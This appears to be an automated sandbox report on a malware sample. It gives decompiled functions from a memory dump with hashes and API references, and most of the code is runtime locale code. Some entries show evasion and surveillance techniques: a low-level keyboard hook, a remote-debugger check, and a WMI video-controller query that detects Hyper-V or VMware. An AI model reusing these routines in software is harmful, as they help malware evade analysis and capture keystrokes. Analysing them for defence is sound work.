Instruction ID: 4c2aab8579277b2b8d6d1ee676096609c7c8e0f886d3ae4e14bd530946186aab
Opcode Fuzzy Hash: dfd8b8bb9dec71ef832ee325f34343ce159435f71b5cfb3d5a7ae222f34f9b7a
Instruction Fuzzy Hash: 65F04431901318ABDF109BE59C45FEEB7B8AB08751F50016AF901E6290CF78995487A9

Uniqueness

Uniqueness Score: -1.00%

Function 0043656A, Relevance: 3.0, APIs: 2, Instructions: 43COMMON

Download Yara Rule

APIs

SetWindowsHookExW.USER32(0000000D,0043527C,00000000), ref: 004365A0
KiUserCallbackDispatcher.NTDLL(?,00000000,00000000,00000000), ref: 004365C8

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CallbackDispatcherHookUserWindows
String ID:
API String ID: 2140249451-0
Opcode ID: 5359bc77c6744d1b119d74be3b21fe046dd9245d5038d394d8a3aefeb46aa32a
Instruction ID: b0d32cd98488177756b2ce22fbb7a86962624bb5ed66f4eacbafa718af698bc2
Opcode Fuzzy Hash: 5359bc77c6744d1b119d74be3b21fe046dd9245d5038d394d8a3aefeb46aa32a
Instruction Fuzzy Hash: D2012171900284BFDB10EFB6ECC9E9B7BBCEB4C700F00043AE106DA152D6789545CB28

Uniqueness

Uniqueness Score: -1.00%

Function 00438418, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNEL32(00000000), ref: 00438436

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 9d410a4fcdc46e13a70cbc1fb8008168aaa8605b2d415dbfde2a2061b727874b
Instruction ID: f5427a212dfdd87da89f9e0ba9ca1222acfb2865482f63687b35125f38c6985d
Opcode Fuzzy Hash: 9d410a4fcdc46e13a70cbc1fb8008168aaa8605b2d415dbfde2a2061b727874b
Instruction Fuzzy Hash: E5E02032F142341ECB1029757F4C7A77659D3C6175F141B36FD16D2481FC29451581ED

Uniqueness

Uniqueness Score: -1.00%

Function 0049C76F, Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(?,?,0049C931,?,00000022,00000000,00000002,?,?,0049AC90,00000000,00000000,00000004,00499A05,00000000,00000004), ref: 0049C791

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 8bdeb88323b82ef23c73d34e39c01d7ba77247a1ae46e5c06d95754e11bfc369
Instruction ID: f9ffe4a80a61b845b6a4f6b8d3eda22fdacd91f8600eba3c745f3679840f9bd8
Opcode Fuzzy Hash: 8bdeb88323b82ef23c73d34e39c01d7ba77247a1ae46e5c06d95754e11bfc369
Instruction Fuzzy Hash: 7DE0E636501129ABCF011FD1ED49CAE7F29EB447607044465F90556121DB3598219F99

Uniqueness

Uniqueness Score: -1.00%

Function 00438DCE, Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

CheckRemoteDebuggerPresent.KERNEL32(00000000), ref: 00438DEC

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 329cb82f05bf82990bf6ada7289953a8f0a9763c03fb8bedf75985b71777df28
Instruction ID: 09e9f4d8f5242797316c51bba627f5ea0253f9dfdebc91d532508e0e4eafc2c5
Opcode Fuzzy Hash: 329cb82f05bf82990bf6ada7289953a8f0a9763c03fb8bedf75985b71777df28
Instruction Fuzzy Hash: 0AE0BF71910208AFCB04DFE5D849A9E7BF8EB48255F404469A402D3241DA78AA54CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004AFFF3, Relevance: .7, Instructions: 669COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f16526f021e0b3cfe6d121a1b76bf9a151a443bc341c0d83a8379c6b68c52b49
Instruction ID: eaeb97af4c1bd9b346d283c67907da5388bd6e95c2503f0b17fda535a7dc6394
Opcode Fuzzy Hash: f16526f021e0b3cfe6d121a1b76bf9a151a443bc341c0d83a8379c6b68c52b49
Instruction Fuzzy Hash: 8D32BC34A0020A9FCF18CF98C995AFFB7B1EF95304F24416AD84197315E736AE56CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0049ACC4, Relevance: 30.3, APIs: 20, Instructions: 287
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E0049ACC4(void* __ecx, void* __edx, void* __edi, intOrPtr* __esi, void* __eflags) {
				signed int _t65;
				signed char _t66;
				void* _t69;
				void* _t71;
				void* _t72;
				intOrPtr _t73;
				intOrPtr* _t74;
				void* _t80;
				void* _t82;
				void* _t83;
				void* _t85;
				void* _t86;
				intOrPtr* _t88;
				void* _t89;
				intOrPtr* _t91;
				intOrPtr* _t94;
				void* _t106;
				intOrPtr* _t108;
				intOrPtr* _t110;
				void* _t111;
				signed int _t116;
				void* _t117;
				void* _t146;
				signed int _t150;
				intOrPtr _t152;
				void* _t154;
				intOrPtr* _t156;
				void* _t157;
				void* _t160;
				intOrPtr* _t161;
				intOrPtr* _t162;
				intOrPtr* _t163;
				void* _t164;
				void* _t165;
				void* _t173;
				void* _t174;
				void* _t175;
				void* _t176;

				_t176 = __eflags;
				_t153 = __esi;
				_t146 = __edx;
				_push(8);
				L0049D90B(0x4d731a, __edi, __esi);
				_push(0);
				_push(0);
				_t65 = L00499AE3(_t146, __edi, __esi, _t176);
				_t116 =  *(_t164 + 0x14);
				_t152 =  *((intOrPtr*)(_t164 + 0x10));
				_t150 = 1 << _t65 >> 1;
				_t177 =  *(_t164 + 0xc) & 1;
				if(( *(_t164 + 0xc) & 1) != 0) {
					_t110 = E0042B22E(0x4ede30, _t152, __esi, _t177);
					if(_t116 != 0) {
						_push(_t116);
						_t153 = _t110;
						_t111 = E00499534(_t152, _t153, __eflags);
						_push(_t153);
						_push(_t111);
						_push(_t152);
						E0048A873(_t150, _t152, _t153, __eflags);
						_t165 = _t165 + 0x10;
					} else {
						 *((intOrPtr*)(_t164 - 0x10)) = _t110;
						_t163 = E0049CE33(0x10);
						 *((intOrPtr*)(_t164 - 0x14)) = _t163;
						_t179 = _t163;
						if(_t163 == 0) {
							_t153 = 0;
							__eflags = 0;
						} else {
							 *(_t163 + 4) =  *(_t163 + 4) & _t116;
							 *_t163 = 0x402e64;
							 *((intOrPtr*)(_t163 + 8)) = E0049C860();
							 *(_t163 + 0xc) = _t150;
						}
						_push( *((intOrPtr*)(_t164 - 0x10)));
						_push(_t153);
						_push(_t152);
						E0048A873(_t150, _t152, _t153, _t179);
						_t165 = _t165 + 0xc;
					}
				}
				_t66 =  *(_t164 + 0xc);
				_t180 = _t66 & 0x00000020;
				if((_t66 & 0x00000020) != 0) {
					_t153 = E0042B22E(0x4ede34, _t152, _t153, _t180);
					if(_t116 != 0) {
						_push(_t116);
						_t106 = E004995C9();
						_push(_t153);
						_push(_t106);
						_push(_t152);
						E0048A873(_t150, _t152, _t153, __eflags);
						_t165 = _t165 + 0x10;
					} else {
						_t108 = E0049CE33(8);
						 *((intOrPtr*)(_t164 - 0x14)) = _t108;
						_t182 = _t108;
						if(_t108 == 0) {
							_t108 = 0;
							__eflags = 0;
						} else {
							 *(_t108 + 4) =  *(_t108 + 4) & _t116;
							 *_t108 = 0x402e80;
						}
						_push(_t153);
						_push(_t108);
						_push(_t152);
						E0048A873(_t150, _t152, _t153, _t182);
						_t165 = _t165 + 0xc;
					}
					_t66 =  *(_t164 + 0xc);
				}
				_t183 = _t66 & 0x00000004;
				if((_t66 & 0x00000004) != 0) {
					_t157 = E0042B22E(0x4ede38, _t152, _t153, _t183);
					if(_t116 != 0) {
						_push(_t116);
						_t80 = E0049965E();
						_push(_t157);
						_push(_t80);
						_push(_t152);
						E0048A873(_t150, _t152, _t157, __eflags);
						_t82 = E0042B22E(0x4ede3c, _t152, _t157, __eflags);
						_push(_t116);
						_t83 = E004996F3();
						_push(_t82);
						_push(_t83);
						_push(_t152);
						E0048A873(_t150, _t152, _t82, __eflags);
						_t85 = E0042B22E(0x4ede40, _t152, _t82, __eflags);
						_push(_t116);
						_t86 = L0049981D();
						_push(_t85);
						_push(_t86);
						_push(_t152);
						E0048A873(_t150, _t152, _t85, __eflags);
						_t88 = E0042B22E(0x4ede44, _t152, _t85, __eflags);
						_push(_t116);
						_t153 = _t88;
						_t89 = E00499788();
						_push(_t88);
						_push(_t89);
						_push(_t152);
						E0048A873(_t150, _t152, _t88, __eflags);
						_t165 = _t165 + 0x40;
					} else {
						_t91 = E0049CE33(8);
						 *((intOrPtr*)(_t164 - 0x14)) = _t91;
						_t185 = _t91;
						if(_t91 == 0) {
							_t91 = 0;
							__eflags = 0;
						} else {
							 *(_t91 + 4) =  *(_t91 + 4) & _t116;
							 *_t91 = 0x402e9c;
						}
						_push(_t157);
						_push(_t91);
						_push(_t152);
						E0048A873(_t150, _t152, _t157, _t185);
						_t173 = _t165 + 0xc;
						_t160 = E0042B22E(0x4ede3c, _t152, _t157, _t185);
						_t94 = E0049CE33(8);
						 *((intOrPtr*)(_t164 - 0x14)) = _t94;
						_t186 = _t94;
						if(_t94 == 0) {
							_t94 = 0;
							__eflags = 0;
						} else {
							 *(_t94 + 4) =  *(_t94 + 4) & 0x00000000;
							 *_t94 = 0x402eb4;
						}
						_push(_t160);
						_push(_t94);
						_push(_t152);
						E0048A873(_t150, _t152, _t160, _t186);
						_t174 = _t173 + 0xc;
						 *((intOrPtr*)(_t164 - 0x10)) = E0042B22E(0x4ede40, _t152, _t160, _t186);
						_t161 = E0049CE33(0x58);
						 *((intOrPtr*)(_t164 - 0x14)) = _t161;
						 *(_t164 - 4) = 7;
						_t187 = _t161;
						if(_t161 == 0) {
							_t161 = 0;
							__eflags = 0;
						} else {
							 *((intOrPtr*)(_t161 + 4)) = 0;
							_push(0);
							_push( *((intOrPtr*)(_t164 + 8)));
							 *(_t164 - 4) = 8;
							 *_t161 = 0x402ecc;
							 *((char*)(_t161 + 0x28)) = 0;
							L0049AB98(_t161, _t152, _t161, _t187);
							 *_t161 = 0x402f00;
						}
						_push( *((intOrPtr*)(_t164 - 0x10)));
						 *(_t164 - 4) =  *(_t164 - 4) | 0xffffffff;
						_push(_t161);
						_push(_t152);
						E0048A873(_t150, _t152, _t161, _t187);
						_t175 = _t174 + 0xc;
						 *((intOrPtr*)(_t164 - 0x10)) = E0042B22E(0x4ede44, _t152, _t161, _t187);
						_t162 = E0049CE33(0x58);
						 *((intOrPtr*)(_t164 - 0x14)) = _t162;
						 *(_t164 - 4) = 0xd;
						_t188 = _t162;
						if(_t162 == 0) {
							_t153 = 0;
							__eflags = 0;
						} else {
							 *(_t162 + 4) =  *(_t162 + 4) & 0x00000000;
							_push(0);
							_push( *((intOrPtr*)(_t164 + 8)));
							 *(_t164 - 4) = 0xe;
							 *_t162 = 0x402ecc;
							 *((char*)(_t162 + 0x28)) = 1;
							L0049AB98(_t162, _t152, _t162, _t188);
							 *_t162 = 0x402f34;
						}
						_push( *((intOrPtr*)(_t164 - 0x10)));
						 *(_t164 - 4) =  *(_t164 - 4) | 0xffffffff;
						_push(_t153);
						_push(_t152);
						E0048A873(_t150, _t152, _t153, _t188);
						_t165 = _t175 + 0xc;
					}
					_t66 =  *(_t164 + 0xc);
				}
				_t189 = _t66 & 0x00000010;
				if((_t66 & 0x00000010) != 0) {
					_t154 = E0042B22E(0x4ede48, _t152, _t153, _t189);
					if(_t116 != 0) {
						_push(_t116);
						_t69 = L004998B2();
						_push(_t154);
						_push(_t69);
						_push(_t152);
						E0048A873(_t150, _t152, _t154, __eflags);
						_t71 = E0042B22E(0x4ede4c, _t152, _t154, __eflags);
						_push(_t116);
						_t72 = L00499947();
						_push(_t71);
						_push(_t72);
						_push(_t152);
						_t66 = E0048A873(_t150, _t152, _t71, __eflags);
					} else {
						_t73 = E0049CE33(0x44);
						 *((intOrPtr*)(_t164 - 0x14)) = _t73;
						 *(_t164 - 4) = 0x12;
						_t191 = _t73;
						if(_t73 == 0) {
							_t74 = 0;
							__eflags = 0;
						} else {
							_push(_t116);
							_push( *((intOrPtr*)(_t164 + 8)));
							_t74 = E004999DC(_t73); // executed
						}
						 *(_t164 - 4) =  *(_t164 - 4) | 0xffffffff;
						_push(_t154);
						_push(_t74);
						_push(_t152);
						E0048A873(_t150, _t152, _t154, _t191);
						_t117 = E0042B22E(0x4ede4c, _t152, _t154, _t191);
						_t156 = E0049CE33(0xc);
						 *((intOrPtr*)(_t164 - 0x14)) = _t156;
						_t192 = _t156;
						if(_t156 == 0) {
							_t156 = 0;
							__eflags = 0;
						} else {
							 *(_t156 + 4) =  *(_t156 + 4) & 0x00000000;
							 *_t156 = 0x402f94;
							 *(_t156 + 8) =  *(_t156 + 8) & 0x00000000;
							E0049AC9B(_t117, _t152,  *((intOrPtr*)(_t164 + 8))); // executed
						}
						_push(_t117);
						_push(_t156);
						_push(_t152);
						_t66 = E0048A873(_t150, _t152, _t156, _t192);
					}
				}
				return L0049D8D4(_t66);
			}

0x0049acc4
0x0049acc4
0x0049acc4
0x0049acc4
0x0049accb
0x0049acd0
0x0049acd2
0x0049acd4
0x0049acd9
0x0049acde
0x0049ace8
0x0049acea
0x0049aced
0x0049acf4
0x0049acfb
0x0049ad38
0x0049ad39
0x0049ad3b
0x0049ad40
0x0049ad41
0x0049ad42
0x0049ad43
0x0049ad48
0x0049acfd
0x0049acff
0x0049ad07
0x0049ad09
0x0049ad0d
0x0049ad0f
0x0049ad27
0x0049ad27
0x0049ad11
0x0049ad11
0x0049ad14
0x0049ad1f
0x0049ad22
0x0049ad22
0x0049ad29
0x0049ad2c
0x0049ad2d
0x0049ad2e
0x0049ad33
0x0049ad33
0x0049acfb
0x0049ad4b
0x0049ad4e
0x0049ad50
0x0049ad5c
0x0049ad60
0x0049ad8b
0x0049ad8c
0x0049ad91
0x0049ad92
0x0049ad93
0x0049ad94
0x0049ad99
0x0049ad62
0x0049ad64
0x0049ad69
0x0049ad6d
0x0049ad6f
0x0049ad7c
0x0049ad7c
0x0049ad71
0x0049ad71
0x0049ad74
0x0049ad74
0x0049ad7e
0x0049ad7f
0x0049ad80
0x0049ad81
0x0049ad86
0x0049ad86
0x0049ad9c
0x0049ad9c
0x0049ad9f
0x0049ada1
0x0049adb1
0x0049adb5
0x0049aed3
0x0049aed4
0x0049aed9
0x0049aeda
0x0049aedb
0x0049aedc
0x0049aee9
0x0049aeee
0x0049aef1
0x0049aef6
0x0049aef7
0x0049aef8
0x0049aef9
0x0049af06
0x0049af0b
0x0049af0e
0x0049af13
0x0049af14
0x0049af15
0x0049af16
0x0049af23
0x0049af28
0x0049af29
0x0049af2b
0x0049af30
0x0049af31
0x0049af32
0x0049af33
0x0049af38
0x0049adbb
0x0049adbd
0x0049adc2
0x0049adc6
0x0049adc8
0x0049add5
0x0049add5
0x0049adca
0x0049adca
0x0049adcd
0x0049adcd
0x0049add7
0x0049add8
0x0049add9
0x0049adda
0x0049addf
0x0049adee
0x0049adf0
0x0049adf5
0x0049adf9
0x0049adfb
0x0049ae09
0x0049ae09
0x0049adfd
0x0049adfd
0x0049ae01
0x0049ae01
0x0049ae0b
0x0049ae0c
0x0049ae0d
0x0049ae0e
0x0049ae13
0x0049ae22
0x0049ae2a
0x0049ae2d
0x0049ae30
0x0049ae37
0x0049ae39
0x0049ae60
0x0049ae60
0x0049ae3b
0x0049ae3d
0x0049ae40
0x0049ae41
0x0049ae46
0x0049ae4a
0x0049ae50
0x0049ae53
0x0049ae58
0x0049ae58
0x0049ae62
0x0049ae65
0x0049ae69
0x0049ae6a
0x0049ae6b
0x0049ae70
0x0049ae7f
0x0049ae87
0x0049ae8a
0x0049ae8d
0x0049ae94
0x0049ae96
0x0049aebe
0x0049aebe
0x0049ae98
0x0049ae98
0x0049ae9c
0x0049ae9e
0x0049aea3
0x0049aea7
0x0049aead
0x0049aeb1
0x0049aeb6
0x0049aeb6
0x0049aec0
0x0049aec3
0x0049aec7
0x0049aec8
0x0049aec9
0x0049aece
0x0049aece
0x0049af3b
0x0049af3b
0x0049af3e
0x0049af40
0x0049af50
0x0049af54
0x0049afd0
0x0049afd1
0x0049afd6
0x0049afd7
0x0049afd8
0x0049afd9
0x0049afe6
0x0049afeb
0x0049afee
0x0049aff3
0x0049aff4
0x0049aff5
0x0049aff6
0x0049af56
0x0049af58
0x0049af5e
0x0049af61
0x0049af68
0x0049af6a
0x0049af79
0x0049af79
0x0049af6c
0x0049af6c
0x0049af6d
0x0049af72
0x0049af72
0x0049af7b
0x0049af7f
0x0049af80
0x0049af81
0x0049af82
0x0049af96
0x0049af9d
0x0049af9f
0x0049afa3
0x0049afa5
0x0049afc1
0x0049afc1
0x0049afa7
0x0049afa7
0x0049afb0
0x0049afb6
0x0049afba
0x0049afba
0x0049afc3
0x0049afc4
0x0049afc5
0x0049afc6
0x0049afcb
0x0049af54
0x0049b003

APIs

__EH_prolog3.LIBCMT ref: 0049ACCB
collate.LIBCPMT ref: 0049ACD4

Part of subcall function 00499AE3: __EH_prolog3_GS.LIBCMT ref: 00499AEA
Part of subcall function 00499AE3: __Getcoll.LIBCPMT ref: 00499B4E

__Getcoll.LIBCPMT ref: 0049AD1A
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AD2E
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AD43
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AD81
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AD94
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049ADDA
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AE0E
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AEC9
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AEDC
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AEF9
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AF16
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AF33
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AE6B

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

numpunct.LIBCPMT ref: 0049AF72
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AF82
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AFC6
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AFD9
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AFF6

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddfacLocimp::_Locimp_std::locale::_$GetcollH_prolog3_Lockitstd::_$H_prolog3Lockit::_Lockit::~_collatenumpunct
String ID:
API String ID: 3839405195-0
Opcode ID: 0388e2fcd68557476c1516319081035d3fd274ad5831c0ab0528315678a61966
Instruction ID: 04a7dbbcce0daef4041963a70b1bcc221a47aead397dd6f57fe9782455da5912
Opcode Fuzzy Hash: 0388e2fcd68557476c1516319081035d3fd274ad5831c0ab0528315678a61966
Instruction Fuzzy Hash: 8691C5B1D002116AEF117AA6884AA3F7EA5DF51754F10893FF809A7282DB7C8D1153EF

Uniqueness

Uniqueness Score: -1.00%

Function 0043879C, Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 118
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E0043879C(void* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				char _v12;
				char _v32;
				void* _v36;
				void* _v40;
				char _v44;
				void* _v48;
				WCHAR* _v64;
				WCHAR* _v68;
				WCHAR* _v72;
				char _v76;
				intOrPtr* _v88;
				intOrPtr* _v96;
				signed int _t38;
				void* _t40;
				intOrPtr* _t45;
				intOrPtr* _t52;
				intOrPtr* _t54;
				WCHAR* _t58;
				intOrPtr* _t61;
				intOrPtr* _t73;
				intOrPtr* _t75;
				intOrPtr* _t76;
				char _t91;
				signed int _t94;

				_t96 = (_t94 & 0xfffffff8) - 0x28;
				_t38 =  *0x4eb018; // 0xf39dfde0
				_v8 = _t38 ^ (_t94 & 0xfffffff8) - 0x00000028;
				_t91 = 0;
				_push(__ecx);
				_v36 = 0;
				_v32 = 0;
				_v40 = 0;
				_t40 = E0043F5AD( &_v36,  &_v32);
				_pop(_t67);
				if(_t40 != 0) {
					_push( &_v40);
					if(E0043F667( &_v32) != 0) {
						_t73 = _v40;
						_v44 = 0;
						_v12 = 0;
						if(_t73 != 0) {
							while(1) {
								 *((intOrPtr*)( *_t73 + 0x10))(_t73, 0xffffffff, 1,  &_v44,  &_v12);
								if(_v32 == _t91) {
									goto L14;
								}
								_t52 = _v64;
								_push(_t91);
								_push(_t91);
								_push( &_v48);
								_push(_t91);
								_push(L"Caption");
								_push(_t52); // executed
								if( *((intOrPtr*)( *_t52 + 0x10))() < 0) {
									L11:
									_t54 = _v88;
									 *((intOrPtr*)( *_t54 + 8))(_t54);
									_t73 = _v88;
									if(_t73 != 0) {
										continue;
									} else {
									}
								} else {
									if(_v72 != 8) {
										L10:
										 *0x4ed604( &_v72);
										goto L11;
									} else {
										_t58 = StrStrIW(_v64, L"Hyper-V"); // executed
										if(_t58 != 0 || StrStrIW(_v68, L"Microsoft Basic Display Adapter") != 0 || StrStrIW(_v72, L"VMWare") != 0) {
											 *0x4ed604( &_v76);
											_t61 = _v96;
											 *((intOrPtr*)( *_t61 + 8))(_t61);
											_t91 = 1;
										} else {
											goto L10;
										}
									}
								}
								goto L14;
							}
						}
						L14:
						_t45 = _v36;
						 *((intOrPtr*)( *_t45 + 8))(_t45);
						_t75 = _v36;
						 *((intOrPtr*)( *_t75 + 8))(_t75);
						_t76 = _v48;
						 *((intOrPtr*)( *_t76 + 8))(_t76);
						 *0x4ed810(); // executed
					}
				}
				return L0049CE1D(_v8 ^ _t96);
			}

0x004387a2
0x004387a5
0x004387ac
0x004387b2
0x004387b8
0x004387bd
0x004387c1
0x004387c5
0x004387c9
0x004387ce
0x004387d1
0x004387dc
0x004387ee
0x004387f4
0x004387f8
0x004387fc
0x00438802
0x0043880e
0x0043881f
0x00438826
0x00000000
0x00000000
0x0043882c
0x00438834
0x00438835
0x00438836
0x00438839
0x0043883a
0x0043883f
0x00438845
0x00438887
0x00438887
0x0043888e
0x00438891
0x00438897
0x00000000
0x00000000
0x0043889d
0x00438847
0x0043884d
0x0043887c
0x00438881
0x00000000
0x0043884f
0x00438858
0x0043885c
0x004388a4
0x004388aa
0x004388b1
0x004388b6
0x00000000
0x00000000
0x00000000
0x0043885c
0x0043884d
0x00000000
0x00438845
0x0043880e
0x004388b7
0x004388b7
0x004388be
0x004388c1
0x004388c8
0x004388cb
0x004388d2
0x004388d5
0x004388d5
0x004387ee
0x004388ed

APIs

Part of subcall function 0043F5AD: SysAllocString.OLEAUT32(ROOT\CIMV2), ref: 0043F5FC
Part of subcall function 0043F5AD: SysFreeString.OLEAUT32(00000000), ref: 0043F621

Part of subcall function 0043F667: SysAllocString.OLEAUT32(WQL), ref: 0043F67F
Part of subcall function 0043F667: SysAllocString.OLEAUT32(SELECT * FROM Win32_VideoController), ref: 0043F688
Part of subcall function 0043F667: SysFreeString.OLEAUT32(00000000), ref: 0043F6D2
Part of subcall function 0043F667: SysFreeString.OLEAUT32(00000000), ref: 0043F6DD

StrStrIW.SHLWAPI(?,Hyper-V), ref: 00438858
StrStrIW.SHLWAPI(?,Microsoft Basic Display Adapter), ref: 00438867
StrStrIW.SHLWAPI(?,VMWare), ref: 00438876
VariantClear.OLEAUT32(00000008), ref: 00438881
VariantClear.OLEAUT32(00000008), ref: 004388A4

Strings

Caption, xrefs: 0043883A
Microsoft Basic Display Adapter, xrefs: 0043885E
VMWare, xrefs: 0043886D
Hyper-V, xrefs: 0043884F

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: String$AllocFree$ClearVariant
String ID: Caption$Hyper-V$Microsoft Basic Display Adapter$VMWare
API String ID: 261499160-2601875369
Opcode ID: b954a7e0e0a7886b4ade209102527ca93faec4aa3c3b4ac8daae5b98ffce4332
Instruction ID: cad59449631d3d9305af6ef8d900ebbb3397a1077be9872861ffa1e9e56699b9
Opcode Fuzzy Hash: b954a7e0e0a7886b4ade209102527ca93faec4aa3c3b4ac8daae5b98ffce4332
Instruction Fuzzy Hash: 7E417C71608302AFC708EF25C884D5BBBE8EFC8754F104A6EF55997260DB30D949CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0042B0D7, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E0042B0D7(intOrPtr __ecx, void* __edi, void* __esi, void* __eflags, intOrPtr _a8) {
				signed int _v4;
				signed int _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;
				signed int _t61;
				void* _t65;
				intOrPtr _t78;
				intOrPtr _t93;
				intOrPtr _t94;
				signed int _t99;

				_t78 = __ecx;
				_push(4);
				L0049D90B(0x4c4a52, __edi, __esi);
				_t93 = _t78;
				_v16 = _t93;
				L00488DEA(_t78, 0);
				_v4 = 0;
				 *((intOrPtr*)(_t93 + 4)) = 0;
				 *((char*)(_t93 + 8)) = 0;
				_v4 = 1;
				 *((intOrPtr*)(_t93 + 0xc)) = 0;
				 *((char*)(_t93 + 0x10)) = 0;
				_v4 = 2;
				 *((intOrPtr*)(_t93 + 0x14)) = 0;
				 *((short*)(_t93 + 0x18)) = 0;
				_v4 = 3;
				 *((intOrPtr*)(_t93 + 0x1c)) = 0;
				 *((short*)(_t93 + 0x20)) = 0;
				_v4 = 4;
				 *((intOrPtr*)(_t93 + 0x24)) = 0;
				 *((char*)(_t93 + 0x28)) = 0;
				_v4 = 5;
				 *((intOrPtr*)(_t93 + 0x2c)) = 0;
				 *((char*)(_t93 + 0x30)) = 0;
				_v4 = 6;
				if(_a8 == 0) {
					E0048902D("bad locale name");
					asm("int3");
					_push(0xffffffff);
					_push(0x4c4ab7);
					_push( *[fs:0x0]);
					_push(_t78);
					_push(0);
					_push(_t93);
					_t61 =  *0x4eb018; // 0xf39dfde0
					_push(_t61 ^ _t99);
					 *[fs:0x0] =  &_v20;
					_t94 = _t78;
					_v24 = _t94;
					_v12 = 6;
					E0048931A(_t94); // executed
					_v12 = 5;
					if( *((intOrPtr*)(_t94 + 0x2c)) != 0) {
						L004A5B7B( *((intOrPtr*)(_t94 + 0x2c)));
					}
					 *((intOrPtr*)(_t94 + 0x2c)) = 0;
					_v8 = 4;
					if( *((intOrPtr*)(_t94 + 0x24)) != 0) {
						L004A5B7B( *((intOrPtr*)(_t94 + 0x24)));
					}
					 *((intOrPtr*)(_t94 + 0x24)) = 0;
					_v8 = 3;
					if( *((intOrPtr*)(_t94 + 0x1c)) != 0) {
						L004A5B7B( *((intOrPtr*)(_t94 + 0x1c)));
					}
					 *((intOrPtr*)(_t94 + 0x1c)) = 0;
					_v8 = 2;
					if( *((intOrPtr*)(_t94 + 0x14)) != 0) {
						L004A5B7B( *((intOrPtr*)(_t94 + 0x14)));
					}
					 *((intOrPtr*)(_t94 + 0x14)) = 0;
					_v8 = 1;
					if( *((intOrPtr*)(_t94 + 0xc)) != 0) {
						L004A5B7B( *((intOrPtr*)(_t94 + 0xc)));
					}
					 *((intOrPtr*)(_t94 + 0xc)) = 0;
					_v8 = 0;
					if( *((intOrPtr*)(_t94 + 4)) != 0) {
						L004A5B7B( *((intOrPtr*)(_t94 + 4)));
					}
					 *((intOrPtr*)(_t94 + 4)) = 0;
					_v8 = _v8 | 0xffffffff;
					_t65 = L00488E42(_t94);
					 *[fs:0x0] = _v16;
					return _t65;
				} else {
					E004892CF(_t93, _a8); // executed
					_v4 = _v4 | 0xffffffff;
					return L0049D8D4(_t93);
				}
			}

0x0042b0d7
0x0042b0d7
0x0042b0de
0x0042b0e3
0x0042b0e5
0x0042b0eb
0x0042b0f0
0x0042b0f3
0x0042b0f6
0x0042b0f9
0x0042b0fd
0x0042b100
0x0042b103
0x0042b109
0x0042b10c
0x0042b110
0x0042b114
0x0042b117
0x0042b11b
0x0042b11f
0x0042b122
0x0042b125
0x0042b129
0x0042b12c
0x0042b12f
0x0042b136
0x0042b156
0x0042b15b
0x0042b15f
0x0042b161
0x0042b16c
0x0042b16d
0x0042b16e
0x0042b16f
0x0042b170
0x0042b177
0x0042b17b
0x0042b181
0x0042b183
0x0042b186
0x0042b18e
0x0042b194
0x0042b19c
0x0042b1a1
0x0042b1a6
0x0042b1a9
0x0042b1ac
0x0042b1b3
0x0042b1b8
0x0042b1bd
0x0042b1be
0x0042b1c1
0x0042b1c8
0x0042b1cd
0x0042b1d2
0x0042b1d3
0x0042b1d6
0x0042b1dd
0x0042b1e2
0x0042b1e7
0x0042b1e8
0x0042b1eb
0x0042b1f2
0x0042b1f7
